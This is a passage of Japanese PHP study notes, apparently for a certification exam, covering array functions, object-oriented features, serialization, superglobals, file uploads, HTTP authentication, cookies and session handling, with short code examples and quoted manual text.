  1 => int 1
  2 => int 2
  3 => int 3
  4 => int 4
  5 => int 6
  6 => int 7
  7 => int 8
  8 => int 9
  9 => int 10
}
$o = ['Jiro' => 40, 'Ichiro' => 50, 'Saburo' => 30];
$a = $o;
usort(
    $a,
    function ($x, $y) {
        return $x - $y;
    }
);
$b = $o;
uasort(
    $b,
    function ($x, $y) {
        return $x - $y;
    }
);
$c = $o;
uksort(
    $c,
    function ($x, $y) {
        return strcmp($x, $y);
    }
);

echo '----- オリジナル -----';
var_dump($o);
echo '----- usort -----';
var_dump($a);
echo '----- uasort -----';
var_dump($b);
echo '----- uksort -----';
var_dump($c);
----- オリジナル -----
/path/to/php/array/usort.php:26:
array (size=3)
  'Jiro' => int 40
  'Ichiro' => int 50
  'Saburo' => int 30
----- usort -----
/path/to/php/array/usort.php:28:
array (size=3)
  0 => int 30
  1 => int 40
  2 => int 50
----- uasort -----
/path/to/php/array/usort.php:30:
array (size=3)
  'Saburo' => int 30
  'Jiro' => int 40
  'Ichiro' => int 50
----- uksort -----
/path/to/php/array/usort.php:32:
array (size=3)
  'Ichiro' => int 50
  'Jiro' => int 40
  'Saburo' => int 30

要素の追加・削除

関数|内容 —|— array_unshift | 左に作用。 先頭へ要素を追加します。インデックスは0へ追加。以降の要素の整数インデックスは1プラス。 array_shift | 左に作用。 先頭から要素を削除します。 array_push | 右に作用。配列の末尾へ要素を追加します array_pop | 右に作用。配列の末尾から要素を削除します

<?php
$a = ['a', 'b', 'c'];
array_unshift($a, 'A');
var_dump($a);
array(4) {
  [0]=> "A"
  [1]=> "a"
  [2]=> "b"
  [3]=> "c"
}
$a = ['a', 'b', 'c'];
var_dump($a);
array_shift($a);
var_dump($a);
array {
  [0]=> "a"
  [1]=> "b"
  [2]=> "c"
}
array {
  [0]=> "b"
  [1]=> "c"
}

内部操作

関数 内容
current() 配列内の現在の要素を返す
key() 配列内の現在のキーを返す。
end() 配列の内部ポインタを最終要素にセットし値を返す。
next() 配列の内部ポインタを一つすすめ値を返す。
prev() 配列の内部ポインタをひとつ前に戻すし値を返す。
reset() 配列の内部ポインタを先頭の要素にセットし値を返す。
each() 配列から現在のキーと値のペアを返して、内部ポインタを進める

php公式マニュアル。

$arr = [
    'A' => 'a',
    'B' => 'b',
    'C' => 'c',
    'D' => 'd',
];
$expanded = '';
reset($arr);                        // 先頭へポインタセット
$key   = key($arr);
$value = current($arr);
$expanded .= "$key: $value, ";
next($arr);                         // 2番目の要素へポインタ移動
$value = current($arr);
$key   = key($arr);
$expanded .= "$key: $value, ";
next($arr);                          // 3番目の要素へポインタ移動
$value = current($arr);
$key   = key($arr);
$expanded .= "$key: $value, ";
next($arr);                          // 4番目の要素へポインタ移動
$value = current($arr);
$key   = key($arr);
$expanded .= "$key: $value, ";
next($arr);                          // 5番目の要素へポインタを移動。5番目の要素はないので、current()はFALSE、key()はNULLを返し、文字列連結では空文字になります。
$value = current($arr);
$key   = key($arr);
$expanded .= "$key: $value, ";
reset($arr);                          // 先頭へポインタセット 
$value = current($arr);
$key   = key($arr);
$expanded .= "$key: $value, ";
echo $expanded;

その他

関数 内容
array_merge 重複があるときインデックス配列は新たなインデックスを作成します。連想配列のときは後の配列で上書きされます。
array_unique 重複を取り除いた配列を返します。元の配列のキーを維持します。
array_intersect 配列の共通要素の配列を返します。元の配列のキーを維持します。共通集合です。ベン図で理解します。
array_diff 「array1 を他の配列と比較し、 array1 の要素の中で他の配列には存在しないものだけを返します。」php公式マニュアル。元の配列のキーを維持します。
array_slice 「array_slice()は、array から引数 offset および length で指定された連続する要素を返します。」PHP公式マニュアル。新しい配列を返します。
array_chunk /
array_splice 「配列 input から offset および length で指定された要素を削除し、配列 replacement でそれを置換します。input の配列の数値添字は保存されないことに注意しましょう。」PHP公式マニュアル。
array_pad 配列を指定要素になるまで要素を追加します。
array_flip キーと値を入れ替えます。
shuffle 配列の要素をシャッフルし添字を0から付け直します。
array_product 要素の積を返します。
array_sum 要素の和を返します。

4章 オブジェクト

3つの特徴

カプセル化、 継承、ポリモーフィズム

インスタンス生成

class Foo {}
$f = new Foo; // パラメーターの無いコンストラクタのとき()省略できます。

オブジェクトのプロパティやメソッドへ可変変数や可変関数でアクセスできます。
可読性を損なうことが多いので極力使用しないでください。

定数、静的変数、静的メソッド

<?php
class Foo
{
    const A = 'A';
    static $a = 'a';

    private static function a()
    {
        return 'a';
    }

    function getA()
    {
        echo self::A;       // 定数
        echo self::$a;      // 変数
        echo self::a();     // メソッド
    }
}
$o = new Foo();
$o->getA();
echo Foo::A;
echo Foo::$a;
AaaAa

プロパティ

宣言を省略

プロパティの宣言は省略できます。

class Foo {
}
$f = new Foo();
$f->a = 'a';
var_dump($f->a); // a

存在しないプロパティへアクセスするとE_NOTICEが発生します。

$f->b; // Undefined Property

プロパティデフォルト値設定

設定 値
設定可能 整数、浮動小数点数、変数展開を含まない文字列、変数展開を含まないヒアドキュメント、array
設定不可 変数、変数の展開を含む文字列、ヒアドキュメント、式、関数、オブジェクトを作成するnewキーワード
省略 NULL

アクセス修飾子

修飾子 スコープ
private 定義したクラスの内部からのみアクセスできます(同じクラスの別インスタンスからもアクセスできます)。
protected privateのスコープに加えサブクラスから呼び出すことができます。
public 制限はありません。メソッドはアクセス修飾子を省略するとpublicになります(プロパティは修飾子を省略できません。varのみ指定可能です)。
var publicになります。varはPHP4との互換性のために残されているのでPHP5では使用しないでください。

スーパークラスのメソッド呼び出し

キーワード 内容
parent:: サブクラスから明示的にスーパークラスのメソッドを呼び出します。superというキーワードはありません。

コンストラクタ/デストラクタ

親クラスにコンストラクタとデストラクタが定義してあるとき

  • 子クラスにコンストラクタ/デストラクタを定義しているとき親クラスのコンストラクタ/デストラクタは暗黙的にはよびだされません。parent::__construct/parent::__destructで明示的に呼び出します。
  • 子クラスでコンストラクタ/デストラクタが定義されていないときは暗黙的に親クラスのコンストラクタ/デストラクタが呼び出されます。

抽象クラス/メソッド

  • 抽象クラスの継承はextendsで行います。
  • 抽象クラスはインスタンス化できません。
  • 抽象メソッドが1つでもあるクラスは抽象クラスとして定義します。
  • 抽象クラスは抽象メソッドでないメソッドも定義できます。
  • 抽象クラスは定数を定義でき 抽象クラス名::定数名 でアクセスできます。
  • 抽象クラスはプロパティを定義できます。静的プロパティは抽象クラス名::$プロパティ名でアクセスできます。
    抽象メソッド(abstract)にprivateは設定できません(publicまたはprotectedを指定します)。抽象クラスの通常のプロパティ・メソッドにはprivateも指定できます。
  • 抽象クラスを継承したクラスですべてのメソッドを実装しないときはそのクラスも抽象クラスになります。
  • 継承は単一継承です。
<?php
abstract class AbstractExamine
{
    const EXAM = 'System.';
    public static $name = 'PHP Exam System';
    protected $bonus = 10;

    abstract public function getRecord();
    abstract public function setRecord($record);
    abstract public function result();

    public static function getName()
    {
        return self::EXAM;
    }
}
class Exam extends AbstractExamine
{
    private $record;
    public function getRecord()
    {
        return $this->record;
    }
    public function setRecord($record)
    {
        $this->record = $record;
    }
    public function result()
    {
        return ( $this->record + $this->bonus >= 70 ) ? '合格' : '不合格';
    }
}

$exam = new Exam();
$exam->setRecord(60);
var_dump($exam->result());          // 合格
var_dump(AbstractExamine::EXAM);    // System.
var_dump(AbstractExamine::$name);   // PHP Exam System

インターフェース

  • インターフェースはinterfaceキーワードで宣言します。
  • インターフェースはimplementsで実装します。
  • インターフェースで定義するメソッドはすべて抽象メソッドになります(abstractキーワードはつけません)。
  • インターフェースはプロパティを定義することはできません(静的プロパティであっても定義できません)。
  • インターフェースは定数を宣言できます。定数は インターフェース名::定数名 でアクセスできます。
  • インターフェースを実装するクラスはすべてのメソッドを実装するか抽象クラスにします。
    (すべてのメソッドを実装しなくても抽象クラスにすればエラーにはなりません。)
  • 複数のインターフェースを実装できます。
<?php
interface InterfaceExamine
{
    const EXAM = 'System.';

    public function getRecord();
    public function setRecord($record);
    public function result();

}
class Exam implements InterfaceExamine
{
    private $record;
    public function getRecord()
    {
        return $this->record;
    }
    public function setRecord($record)
    {
        $this->record = $record;
    }
    public function result()
    {
        return ( $this->record >= 70 ) ? '合格' : '不合格';
    }
}

$exam = new Exam();
$exam->setRecord(70);
var_dump($exam->result());           // 合格
var_dump(InterfaceExamine::EXAM);    // System.

インターフェースの多重実装

<?php
interface Foo {
    public function getFoo();
}
interface Bar {
    public function getBar();
}

class Baz implements Foo, Bar {
 
  public function getFoo() {
      return 'implements Foo';
  }
  public function getBar() {
      return 'implements Bar';
  }
}

$o = new Baz();
echo $o->getFoo() . PHP_EOL;
echo $o->getBar();

instanceof演算子

オブジェクト instanceof クラス
オブジェクト instanceof インターフェース

タイプヒンティング

指定可能 指定不可
クラス、インターフェース、array、self、callable(PHP5.4以降) int, string, float, boolなど(スカラー型のタイプヒントはPHP7で追加)

タイプヒンティングで異なる引数が渡された時はcatch可能な致命的なエラー(E_RECOVERABLE_ERROR)が発生します。
catch可能な致命的エラーはエラーハンドラ(set_error_handler)で例外に変換することができる致命的エラーです。

内部調査(introspection)

関数 内容
class_exists 指定したクラスが定義済みか確認します。
get_declared_classes 定義されたすべてのクラスを配列で返します。
get_class_methods 指定したクラスの現在のスコープから見えるメソッド名を配列として返します。
get_class_vars 「宣言されているプロパティのうち、現在のスコープから見えるものとそのデフォルト値を連想配列で返します。 返される配列要素は、変数名 => 値 の形式となります。 エラーが発生した場合は FALSE を返します。」php公式マニュアル。定数は取得しません。
get_object_vars 指定したオブジェクトの現在のスコープからアクセス可能なプロパティと現在の値を返します。静的プロパティは含みません。
get_parent_class スーパークラスの名前を返します。「オブジェクトが親を持たない場合や指定したクラスが存在しない場合は FALSE を返します。」php公式マニュアル。
is_object オブジェクトかどうかを返します。
get_class 指定したオブジェクトのクラスを返します。
method_exists 第1引数で指定したオジェクトに第2引数で指定したメソッド名があるか返します。
<?php
class Foo 
{
    static function staticMethod() {
       return 'Foo';
    }
    private function privateMethod()
    {
    }
    protected function protectedMethod()
    {
    }
    public function publicMethod()
    {
        var_dump(get_class_methods('Foo'));
    }
}

// クラス外から呼び出し
var_dump(get_class_methods('Foo'));

// インスタンス内部から呼び出し
$f = new Foo();
$f->publicMethod();
array (size=2)
  0 => string 'staticMethod' (length=12)
  1 => string 'publicMethod' (length=12)

array (size=4)
  0 => string 'staticMethod' (length=12)
  1 => string 'privateMethod' (length=13)
  2 => string 'protectedMethod' (length=15)
  3 => string 'publicMethod' (length=12)

シリアライズ

シリアライズはオブジェクトをバイトストリームへ変換することです。バイトストリームへ変換することによりファイルなどへ保存することができます。

バイトストリーム (byte stream) とは、バイト単位のデジタルデータの『ひと続き』のことである。 この言葉は、オープンシステムコンピュータのファイルシステムにおいては、すべてのファイルがバイトストリームであるということを説明する文脈で利用される言葉である。

出典Wikipedia

関数 内容
serialize シリアライズします。
unserialize 復元します。
<?php
class Service 
{
    const A = 'Example';
    public $name;
    public $year;

    function __construct($name, $year)
    {
        $this->name = $name;
        $this->year = $year;
    }
    
    public function getName()
    {
        return $this->name;
    }
    public function getYear()
    {
        return $this->year; 
    }
        
}
$o = new Service('Sample', 2015);

$path = 'example.txt';
$fp = fopen($path, "w") or die("can not open file.");
flock($fp, LOCK_EX);
fputs($fp, serialize($o)); // シリアリズした情報がファイルへ書き込まれます。
flock($fp, LOCK_UN);
fclose($fp);
echo 'complete';

example.txt

O:7:"Service":2:{s:4:"name";s:6:"Sample";s:4:"year";i:2015;}
  • シリアライズはクラス名とプロパティの値を保存します。クラスの定義(メソッド、定数、staticプロパティ)は保存しないため、unserialize時には同じクラスが定義(オートロード)されている必要があります。
  • シリアライズはprivate/protectedなプロパティも保存します。
  • シリアライズはstaticなプロパティは保存しません。

clone

clone演算子でオブジェクトをコピーできます。

clone オブジェクト

クラスに__cloneメソッドが定義されているときはコピー後に自動的に呼び出します。
__cloneを直接呼び出すことはできません。

オブジェクトのクローンが作成される際、PHP 5 は、そのオブジェクトのプロパティを 全てシャローコピーします。他の変数へのリファレンスを保持する全てのプロパティは、 リファレンスのままとなります。

// シャローコピー
$obj1 = new \stdClass();
$obj1->prop = 'a';
$obj2 = clone $obj1;
$obj2->prop = 'b';

echo $obj1->prop;
// a
echo $obj2->prop;
// b

// 再帰的なコピーではない
$obj1 = new \stdClass();
$obj1->prop = new \stdClass();
$obj1->prop->value = 'a';
$obj2 = clone $obj1;
$obj2->prop->value = 'b';
echo $obj1->prop->value;
// b

マジックメソッッド

マジックメソッド 内容
__clone() clone演算子で初期化後に呼び出されます。
__construct() コンストラクタです。
__destruct() インスタンスが消滅するタイミングで実行されます。
exitは記載しないでください。
例外を投げてはいけません。親クラスのdestructを呼び出す必要があるときは通常、自クラス__destructを呼び出した後に呼び出します。
__get() アクセスできない(未定義またはprivate/protected)プロパティを読み取るときに呼び出されます。
__set() アクセスできないプロパティへ書き込むときに呼び出されます。
__isset() アクセスできないプロパティに対してissetやemptyが呼ばれたときに呼び出されます。
__unset() アクセスできないプロパティに対してunsetが呼ばれたときに呼び出されます。
__call() アクセスできないメソッドを呼び出したときに呼び出されます。
__callStatic() アクセスできない静的メソッドを呼び出したときに呼び出されます(PHP5.3以降)。
__toString() オブジェクトが文字列として扱われるときに呼び出されます。
__invoke() オブジェクトを関数として呼び出したときに呼び出されます(PHP5.3以降)。
__sleep serialize関数が呼ばれたときシリアライズの直前に呼び出されます。
__wakeup unserialize関数が呼ばれたとき復元の直後に呼び出されます。

マジック定数

定数|内容 —|— __CLASS__| 名前空間を含むクラス名 __NAMESPACE__|名前空間を返します。グローバル空間のときは空文字を返します(PHP5.3以降)。 __LINE__|現在の行番号 __FILE__|ファイルのフルパス __DIR__|ファイルのあるディレクトリ(PHP5.3以降) __FUNCTION__|関数名 __METHOD__|クラス名::メソッド名

オートローダー

PHP: クラスのオートローディング - Manual

「__autoload() 関数でもクラスやインターフェイスのオートロードができますが、 spl_autoload_register() 関数を使うことをおすすめします。 こちらのほうが、より柔軟に使えるからです (任意の数のオートローダーを登録して、サードパーティのライブラリなどに対応することもできます)。 __autoload() を使うことはおすすめできません。 将来のバージョンではこの機能が非推奨となり、削除されるかもしれません。」php公式マニュアル。

Composerが自動生成するvendor/autoload.phpもspl_autoload_registerを使っています(spl_autoload_registerはPHP5.1.2以降)。

PHP: spl_autoload_register - Manual

メソッドチェーン

PHP5からメソッドチェーン(自分自身を返すメソッドの連続呼び出し)が可能です。DateTime::addは自身を返します(PHP5.3以降)。

$d = new DateTime();                                         // 2016-02-16
echo $d->add(new DateInterval('P3D'))->format('Y-m-d');      // 2016-02-19

PHP5.4からコンストラクタからメソッドチェーンが可能になりました。

echo (new DateTime())->add(new DateInterval('P3D'))->format('Y-m-d');

5章 WEBに関するテクニック

スーパーグローバル変数

EGPCS
$_ENV
$_GET
$_POST
$_COOKIE
$_SERVER

PHP: コア php.ini ディレクティブに関する説明 - Manual

variables_order string EGPCS (Environment (環境変数)、 Get、Post、 Cookie (クッキー)、そして Server) 変数のパースの順番を設定します。例えば variables_order を “SP” に設定すると、PHP は superglobals $_SERVER および $_POST を作成しますが、 $_ENV、$_GET および $_COOKIE は作成しません。”” に設定すると、一切 superglobals を設定しません。

その他のスーパーグローバル変数 内容
$_REQUEST $_GET, $_POST, $_COOKIEをまとめて扱います。
$_FILES アップロードされたファイル情報を扱います
$_SESSION セッション変数を保持

request_order string このディレクティブは、PHP が GET 変数や POST 変数そしてクッキー変数を _REQUEST 配列に登録する際の順序を表します。 登録は左から右の順に行い、後から登録した値が古い値を上書きします。

このディレクティブが設定されていない場合は、variables_order を使用して $_REQUEST を設定します。

デフォルトの配布状態の php.ini ファイルには、クッキーの ‘C’ が含まれていないことに注意しましょう。 セキュリティを考慮したためです。

スーパーグローバルは関数の中からも利用できます。その意味でスーパーグローバル変数と呼びます。

$_SERVER

変数|内容 —|— PATH_INFO|スクリプトファイル名とクエリ文字列の間にある文字列であるパス名情報を取得します。
http://www.example.com/example/index.php/path/info?a=b
/path/info REQUEST_URI | 指定されたリクエストのホスト名以降が格納されます。
http://www.example.com/example/index.php/path/info?a=b
/example/index.php/path/info?a=b SCRIPT_NAME | 指定されたリクエストのスクリプトファイルまでのパスとファイル名を格納します。
http://www.example.com/example/index.php/path/info?a=b
/example/index.php PHP_SELF | 指定されたリクエストのスクリプトファイルまでのパスとファイル名およびパス情報を格納します。
http://www.example.com/example/index.php/path/info?a=b
/example/index.php/path/info
セキュリティの点からSCRIPT_NAMEを使用してください。

リクエストのHTTPヘッダーはヘッダーのフィールド名をすべて大文字にしハイフン(-)をアンダースコア(_)へ変換し先頭へHTTP_を付加したキーで$_SERVER配列に設定されます。User-Agentヘッダーが存在すれば、$_SERVER[‘HTTP_USER_AGENT’]に設定されます。

出典 徹底攻略PHP技術者認定試験

$_GET, $_POST, $_COOKIEとURLエンコード

POSTボディー部(application/x-www-form-urlencoded)とGETクエリ部は、ブラウザがURLエンコードして送信します(Cookieは、PHPのsetcookie関数が値をURLエンコードして設定します)。PHPの$_POST, $_GET, $_COOKIEに格納されている値はデコードされた値です。

POST部のデコードされてないデータを取得したいときはphp://inputを使用できます。

php://input は読み込み専用のストリームで、 リクエストの body 部から生のデータを読み込むことができます。 POST リクエストの場合は $HTTP_RAW_POST_DATA よりも php://input を使うのが望ましいでしょう。

PHP: php:// - Manual

HTMLフォーム

Content-Type

<form action="form.php" method="POST" enctype="application/x-www-form-urlencoded">
    <input type="text" name="foo">
    <input type="submit" name="send" value="送信">
</form>

フォームの送信でenctypeへ指定した値がHTTP RequestのContent-Typeヘッダーへ設定されます。
ecntypeを省略したときはapplication/x-www-form-urlencodedになります。

x-www-form-urlencodedのxは通常正式に規格化される前に付くプレフィックスですが互換性に配慮して正式に規格化されたあとも残っています。

HTTP Requestヘッダー 値
Content-Type Content-Type:application/x-www-form-urlencoded
<form action="form.php" method="POST" enctype="multipart/form-data">
    <input type="text" name="foo">
    <input type="file" name="file">
    <input type="submit" name="send" value="送信">
</form>
HTTP Requestヘッダー 値
Content-Type Content-Type:multipart/form-data; boundary=—-WebKitFormBoundary7Nvz4MD7AM8vdY8U

リクエストボディー部がboundary=—-WebKitFormBoundary7Nvz4MD7AM8vdY8Uで区切られます。

Ajax

$.ajaxでPOST送信するときボディー部のデータ形式は主に2つあります。

データ形式 Content-Typeヘッダー
JSON application/json
URLエンコード application/x-www-form-urlencoded

上記データ形式に応じHTTP RequestヘッダーのContent-Typeを設定すべきです。
$.ajax関数のデフォルトはContent-Type: application/x-www-form-urlencoded; charset=UTF-8です。
JSONで送信するときはcontentTypeプロパティで明示的に指定してください。JSONで送信すると$_POSTには値が入らないため、php://inputから読み込みます。

ちなみにdataTypeプロパティは受信(HTTP Response)形式を指定します。

JSONの場合

$.ajax({
    url: '',
    type: 'post',
    contentType:'application/json',
    dataType: 'json',  // text、html、xmlなど
    data: JSON.stringify(data)
});

http://itc.st-sweet.com/126/jquery_ajax-contenttype/

application/x-www-form-urlencodedのとき

$.ajax({
    url: '',
    type: 'post',
    contentType:'application/x-www-form-urlencoded',
    dataType: 'json',  // text、html、xmlなど
    data: getUrlEncode(data)
});

getUrlEncodeはデータをURLエンコードする関数とします。詳細は下記のリンクを参照ください。
http://so-zou.jp/web-app/tech/programming/javascript/ajax/post.htm

JavaScriptはencodeURIComponentでURLエンコードを行うのが一般的です。
ただ空白は%20へ変換されるので上記記事ではencodeURIComponentを適用したあと%20を+へ変換しています。

パラメーター名

name属性値のピリオド(.)、空白( )はアンダースコア(_)へ変換されます。

ファイルのアップロード

$_FILES

$_FILES 内容
name アップロードファイル名
tmp_name 一時ファイル名
type ファイル形式(image/png、application/msword、application/pdf)。クライアントが送る値なので信用できません
error エラー
size ファイルサイズ

一時ファイルはスクリプトの終了時に自動的に削除されます。 PHP技術者認定試験(p.616)。

upload_max_filesizeでエラーになるときの$_FILESの値

$_FILES 内容
name example.jpg
tmp_name 空文字
type 空文字
error 1
size 0

ファイルアップロード関連 php.ini

File Uploadsセクションにディレクティブがまとめられています。

ディレクティブ 内容
file_uploads ファイルアップロードの許可。On/Off。デフォルトOn。ファイルアップロード機能を利用しないときはOffにしてください。
upload_tmp_dir 一時フォルダ。デフォルトはコメントアウト。未設定のときシステムデフォルトを使用。
upload_max_filesize アップロード可能な最大サイズ。デフォルト2M
max_file_uploads 一度のHTTPリクエストでアップロード可能な最大ファイル数。デフォルト20。

upload_max_filesizeは整数で指定するときはバイトになります(1024は1キロバイト)。
その他K(キロバイト)、M(メガバイト)、G(GバイトPHP5.1以降)も指定できます。

ファイルアップロード関連 関数

関数|内容 —|— is_uploaded_file | 「HTTP POST でアップロードされたファイルかどうかを調べる」 出典PHPマニュアル。 move_uploaded_file | HTTP POSTでアップロードされたファイルか確認しその場合は指定した場所へ移動します。

is_uploaded_file

filename という名前のファイルが HTTP POST によりアップロードされたものである場合に TRUE を返します。 悪意のあるユーザーがスクリプトをだまして、 本来見られてはいけないはずのファイル (/etc/passwd など) にアクセスすることを防止したい場合に、この関数は有用です。

この種の確認は、アップロードされたファイルに関して何でもできる場合には、 その内容をユーザー、または同じシステム上の他のユーザーにさえ 暴かれる可能性があるため、特に重要です。

適切に動作させるため、関数 is_uploaded_file() は $_FILES[‘userfile’][‘tmp_name’] のような引数を必要とします。 アップロードされたファイルのクライアントマシン上での名前 $_FILES[‘userfile’][‘name’] では動作しません。

<?php
if (isset($_POST['send']) && $_POST['send'] === '送信') {
    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        echo 'アップロードされたファイルです。';
    } else {
        echo 'アップロードされたファイルではありません。';
    }
}
?>
<html>
<body>
<form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="POST" enctype="multipart/form-data">
    <input type="text" name="foo">
    <input type="file" name="file">
    <input type="submit" name="send" value="送信">
</form>
</body>
</html>

move_uploaded_file

この関数は、filename で指定されたファイルが (PHP の HTTP POST アップロード機構によりアップロードされたという意味で) 有効なアップロードファイルであるかどうかを確認します。 そのファイルが有効な場合、destination で指定したファイル名に移動されます。

この種の確認は、アップロードされたファイルに関して何でもできる場 合には、その内容をユーザー、または同じシステム上の他のユーザーにさえ 暴かれる可能性があるため、特に重要です。

改行

入力値の改行コード

HTMLフォームのテキストエリアは改行できます。
ブラウザは、入力者のOSに関わらず、テキストエリアの改行をCRLF(\r\n)に正規化して送信します(HTML仕様)。

(参考) OSごとの改行コード

改行 メタ文字 主なOS
LF \n Unix, Mac OS X
CRLF \r\n Windows

改行コードの変換/統一

CRLFをLFへ変換するサンプルです。

$value = str_replace("\r\n", "\n", $value);

ブラウザの表示

HTMLでは、ソース中の改行(LF、CRLF、CR)は表示上は単なる空白として扱われます。改行して表示したいときは
タグや<pre>要素を使用します。

PHPからファイルやCLIへ出力するときは、実行環境の改行コードとしてPHP_EOLを使用できます。ただし、HTTPヘッダやメールヘッダの区切りは仕様でCRLF(\r\n)と決まっているため、PHP_EOLではなく”\r\n”を明示してください。

キャッシュ

ヘッダー| 内容 —|— Expires | / Cache-Control| / Pragma | /

HTTPステータスコード

HTTPステータスコード - Wikipediaから引用

ステータスコード 意味
400 Bad Request リクエストが不正である。定義されていないメソッドを使うなど、クライアントのリクエストがおかしい場合に返される。
401 Unauthorized 認証が必要である。Basic認証やDigest認証などを行うときに使用される。たいていのブラウザはこのステータスを受け取ると、認証ダイアログを表示する。
402 Payment Required 支払いが必要である。現在は実装されておらず、将来のために予約されているとされる。
403 Forbidden 禁止されている。リソースにアクセスすることを拒否された。リクエストはしたが処理できないという意味。アクセス権がない場合や、ホストがアクセス禁止処分を受けた場合などに返される。例: 社内(イントラネット)からのみアクセスできるページに社外からアクセスしようとした。
404 Not Found 未検出。リソースが見つからなかった。単に、アクセス権がない場合などにも使用される。
200 OK 成功。リクエストが正常に処理された。
301 Moved Permanently 恒久的な移動。Locationヘッダで新しいURLを示す。
302 Found 一時的な移動。Locationヘッダで移動先を示す(header(‘Location: …‘)のデフォルト)。
304 Not Modified 未更新。条件付きリクエストに対し、キャッシュをそのまま使用できる。
500 Internal Server Error サーバー内部のエラー。
503 Service Unavailable サービス利用不可。メンテナンスや過負荷のときなどに返す。

認証

  • Basic認証
  • Digest認証

Basic認証

HTTP Basic認証はHTTP リクエストヘッダとレスポンスステータスで行われます。

  1. クライアントがアクセス
  2. サーバーはBASIC認証が必要な旨をレスポンスヘッダへ記載
  3. クライアントはリクエストヘッダへユーザー名とパスワードを追加しアクセス

2 サーバー側レスポンスヘッダ

header('WWW-Authenticate: Basic realm="会員専用"');
header( 'HTTP/1.1 401 Unauthorized');

3 クライアント側リクエストヘッダー

Authorization: Basic <token>

tokenはユーザー名とパスワードをコロンで結合しBASE64 でエンコードします。 BASE64は暗号化ではないため、Basic認証は必ずHTTPSで使用してください。

HTTP クライアントを作ってみよう(5) - Basic 認証編

  • $_SERVER[‘PHP_AUTH_PW’]
  • $_SERVER[‘PHP_AUTH_USER’]

ダイジェスト認証

PHP: PHP による HTTP 認証 - Manual

  • $_SERVER[‘PHP_AUTH_DIGEST’] (クライアントが送るAuthorizationヘッダの値。PHP側で解析して検証します)
bool setcookie ( string $name [, string $value = "" [, int $expire = 0 [, string $path = "" [, string $domain = "" [, bool $secure = false [, bool $httponly = false ]]]]]] )

パラメーター|意味 —|— name | クッキー名 空白、セミコロン、イコール、カンマなどは使用できません。 value| 値 expire|有効期限。Unixタイムスタンプ。0や省略したときはブラウザを閉じるまで。 path| 「サーバー上での、クッキーを有効としたいパス ‘/’ をセットすると、クッキーは domain 配下の全てで有効となります。 ‘/foo/’ をセットすると、クッキーは /foo/ ディレクトリとそのサブディレクトリ配下 (例えば /foo/bar/) で有効となります。 デフォルト値は、クッキーがセットされたときのカレントディレクトリです。」PHP公式マニュアル domain|「クッキーが有効な (サブ) ドメイン。これを ‘www.example.com’ などのサブドメインに設定すると、 www サブドメインおよびそれ自身のすべてのサブドメイン (w2.www.example.com など) でクッキーが使えるようになります。 サブドメインを含むドメイン全体でクッキーを有効にしたければ、そのドメイン自体 (この場合は ‘example.com’) を設定します。」PHP公式マニュアル。発行元と無関係なドメインを指定してもブラウザが受け付けません(PHPはヘッダを出力しますが、ブラウザが拒否します)。デフォルトではクッキーは発行されたサーバーへのみ送信されます。 secure|「クライアントからのセキュアな HTTPS 接続の場合にのみクッキーが送信されるようにします。 TRUE を設定すると、セキュアな接続が存在する場合にのみクッキーを設定します。 サーバー側では、このようにセキュアな接続の場合にのみクッキーを送信するという処理は プログラマの責任で行うことになります (たとえば $_SERVER[“HTTPS”] の内容を使用します)。」PHP公式マニュアル。 httponly | 「TRUE を設定すると、HTTP を通してのみクッキーにアクセスできるようになります。 つまり、JavaScript のようなスクリプト言語からはアクセスできなくなるということです。 この設定を使用すると、XSS 攻撃によって ID を盗まれる危険性を減らせる (が、すべてのブラウザがこの設定をサポートしているというわけではありません) と言われていますが、これはしばしば議論の対象となります。 PHP 5.2.0 で追加されました。 TRUE あるいは FALSE で指定します。」PHP公式マニュアル。 出典 PHP公式マニュアル

domain属性について

Set-Cookieの際のDomain属性は、指定しない方が安全です。その理由は以下の通りです。 Domain属性を指定しないCookieは、Cookieを発行したホストのみに送信される Domain属性を指定したCookieは、指定のホストおよびそのサブドメインのホストに送信される すなわち、Domain=example.comを指定したCookieは、www.example.comにも送信されます。Domain属性を指定しないCookieは、example.comに送信され、www.example.comには送信されません。 これは、CookieのRFC2965(旧規格)、RFC6265(現規格)には明確に記述されています

CookieのDomain属性は 指定しない が一番安全 | 徳丸浩の日記

セッション

デフォルトはセッションをクッキーのPHPSESSIDで管理します。

基本

関数 内容
session_start セッションを開始します。
session_destroy session_destroy()は、現在のセッションに 関連づけられたすべてのデータを破棄します。この関数は、 セッションに関するグローバル変数を破棄しません。 また、セッションクッキーを破棄しません。 セッション変数の利用を再開するには session_start() をコールする必要があります。

ユーザーがログアウトするときのように、セッションを切断するには、 セッション ID の割り当ても解除する必要があります。セッション ID の受け渡しに クッキーが使用されている場合(デフォルト)には、セッションクッキーも 削除されなければなりません。 そのためには setcookie() が利用できます。php公式マニュアル。
bool session_regenerate_id ([ bool $delete_old_session = false ] ) session_regenerate_id() は現在のセッションIDを 新しいものと置き換えます。その際、現在のセッション情報は維持されます。

session.use_trans_sid が有効な場合は、 session_regenerate_id() を呼んでから出力を始めないといけません。 それ以前の出力には、古いセッション ID が使われます。php公式マニュアル。特別な理由がない限りsession_regenerate_id(true)とし古いセッションは破棄してください。
セッション開始

foo.php

session_start();
$_SESSION['foo'] = 'FooInformation';

bar.php

session_start();
$_SESSION['bar'] = 'BarInformation';

以下は同一スクリプトでsession_startが複数呼ばれることになり、E_NOTICE(A session had already been started - ignoring session_start())が発生します(処理は継続します)。

bar.php

require 'foo.php';
session_start();
$_SESSION['bar'] = 'BarInformation';

セッション処理を1箇所で行うよう設計することが大切ですが下記のような記載は保険になります(PHP5.4以降は session_status() === PHP_SESSION_NONE で判定するのが確実です)。

if (!isset($_SESSION)) {
    session_start();
}
再生成
session_regenerate_id(true);

session_regenerate_id(true)の動作

  • cookieのPHPSESSIDを新しい値へ変更。
  • 古いセッションファイルを削除し新しいセッションファイル作成。内容は古いファイルと同じ(セッションは維持されている)。
破棄
session_destroy();

session_destoryは下記点に注意してください。

  • セッションに関するグローバル変数を破棄しません。
  • また、セッションクッキーを破棄しません。

以下PHP公式マニュアルに記載のあるセッション変数の削除およびクッキー削除しsession_destroyを実行するサンプルです。

// セッション変数を全て解除する
$_SESSION = array();

// セッションを切断するにはセッションクッキーも削除する。
// Note: セッション情報だけでなくセッションを破壊する。
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

php.ini

PHP公式マニュアルから引用します。
PHP: 実行時設定 - Manual

ディレクティブ 内容  
